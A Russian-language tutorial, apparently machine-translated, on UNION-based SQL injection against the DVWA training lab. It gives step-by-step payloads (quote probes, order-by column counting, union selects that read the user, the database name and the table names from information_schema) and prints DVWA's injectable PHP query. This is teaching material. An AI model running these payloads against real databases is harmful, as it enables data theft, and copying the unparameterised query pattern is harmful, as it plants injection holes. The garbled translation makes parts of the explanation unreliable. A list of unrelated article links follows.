Внедрение объединенного соединения в серии SQL-инъекций
Внедрение объединенного соединения в серии SQL-инъекций

1: Концепция объединения профсоюзов

Мы знаем, что общий формат запроса на объединение в инструкции SQL выглядит следующим образом:

select 1,2,3 from table_name1 union select 4,5,6 from table_name2;

В процессе внедрения мы называем объединение select 4,5,6 из части table_name2 частью объединения объединения. Его основная функция заключается в объединении объединения с предыдущим оператором SQL и построении его номера столбца и столбца предыдущего оператора SQL. числа одинаковые, например, 1,2,3==4,5,6 — это все 3 столбца. Мы называем этот метод инъекции объединением инъекций.

2: Процесс использования впрыска соединения

Здесь я использую для демонстрации часть SQL-инъекций целевой среды DVWA. Введите 1, чтобы отправить обычный запрос и получить возвращаемое значение.

1. Определите тип точки впрыска.

В этой статье мы сосредоточимся на построении части инъекции объединения, и здесь будет кратко обсуждено определение типа точки инъекции. Вводить последовательно 3-2;1 and 1=1; 1” and “1”=”1;1’ and ‘1’=’1; Глядя на эхо-страницу, мы видим, что в этой точке ввода имеется вставка символа одинарной кавычки. может быть основано на 1’ and ‘1’=’1;1’ and ‘1’=’2 Оценка результатов ввода

1' and '1'='1

1' and '1'='2

2. Определите количество столбцов в фоновом SQL.

В концептуальной части мы знаем, что одним из ключевых моментов внедрения объединения является определение количества столбцов в исходном SQL. Здесь мы можем передать порядок. by n # судить. н Указывает количество столбцов, # указывает на комментарии, используемые для порядка точек комментариев. by nзадняя частьSQL。Вводить последовательно1’ order by 5#;1’ order by 3#;1’ order by 2#

1' order by 5#

1' order by 2#

При заказе 1' на 5#, поскольку количество столбцов в исходном SQL меньше 5, выдается сообщение об ошибке. После непрерывного уменьшения значения n ошибка не выдается до тех пор, пока n не станет равным 2. В это время это возможно. можно предположить, что количество столбцов в исходном SQL равно 2.

3. Обнаружение инъекции соединения

Сначала сконструируйте входные данные так, чтобы их можно было корректно вставить в фоновый исходный SQL. входить 1’ union select 1,2 #

1' union select 1,2 #

1’ Частичное представление объединяется с одинарными кавычками исходного SQL в полные символы. union Частичное представление сращено с исходным оператором SQL. select 1,2 Частично это связано с тем, что злоумышленник, внедряющий SQL-код, может контролировать записанный SQL-код, который должен храниться только с двумя столбцами. # Частично закомментируйте вторую половину исходного SQL. После успешного выполнения мы можем выбрать Преобразуйте части 1 и 2, например выберите пользователь(), база данных(). То есть введите в точку ввода 1’ union select user(),database()#。Получить имя пользователя и имя базы данных

1' union select user(),database()#

Далее мы можем попытаться получить все имена таблиц.,Список,Данные в таблице и т.д.。Возьмем, к примеру, получение имени таблицы.,Введите в точке ввода1’ union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #

1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #

С помощью этого оператора мы получаем все имена таблиц под текущим именем базы данных dvwa, включая две таблицы пользователей гостевой книги; Если SQL соответствующим образом изменен, данные таблицы можно получить

Третье: Backend SQL и сплайсированный прототип

Из фона dvwa видно, что фоновый оператор для обработки запроса выглядит следующим образом:

12345678910111213141516171819202122232425262728

<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {    // Get input    $id = $_REQUEST[ 'id' ];    // Check database    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );    // Get results    $num = mysql_numrows( $result );    $i   = 0;    while( $i < $num ) {        // Get values        $first = mysql_result( $result, $i, "first_name" );        $last  = mysql_result( $result, $i, "last_name" );        // Feedback for end user        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";        // Increase loop count        $i++;    }    mysql_close();}?>

Фоновый SQL: «SELECT first_name, Last_name FROM user WHERE user_id = '$id';». Пользовательский ввод $id напрямую вставляется в исходный SQL, поэтому полный SQL, когда созданная нами часть, вводится в базу данных. и выполняется следующим образом

1234567891011121314151617181920

1' and '1'='1SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1';1' and '1'='2SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='2';1' order by 5#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 5#';1' order by 2#SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2#';1' union select 1,2 #SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 #';1' union select user(),database()#SELECT first_name, last_name FROM users WHERE user_id = '1' union select user(),database()#';1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #SELECT first_name, last_name FROM users WHERE user_id = '1' union select group_concat(table_name),database() from information_schema.tables where table_schema = database() #';

Четвертое: Резюме

Атака с помощью инъекции объединения использует соединение объединение или объединение всех для объединения вашего собственного SQL с исходным SQL, тем самым достигая эффекта выполнения произвольных операторов SQL.

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose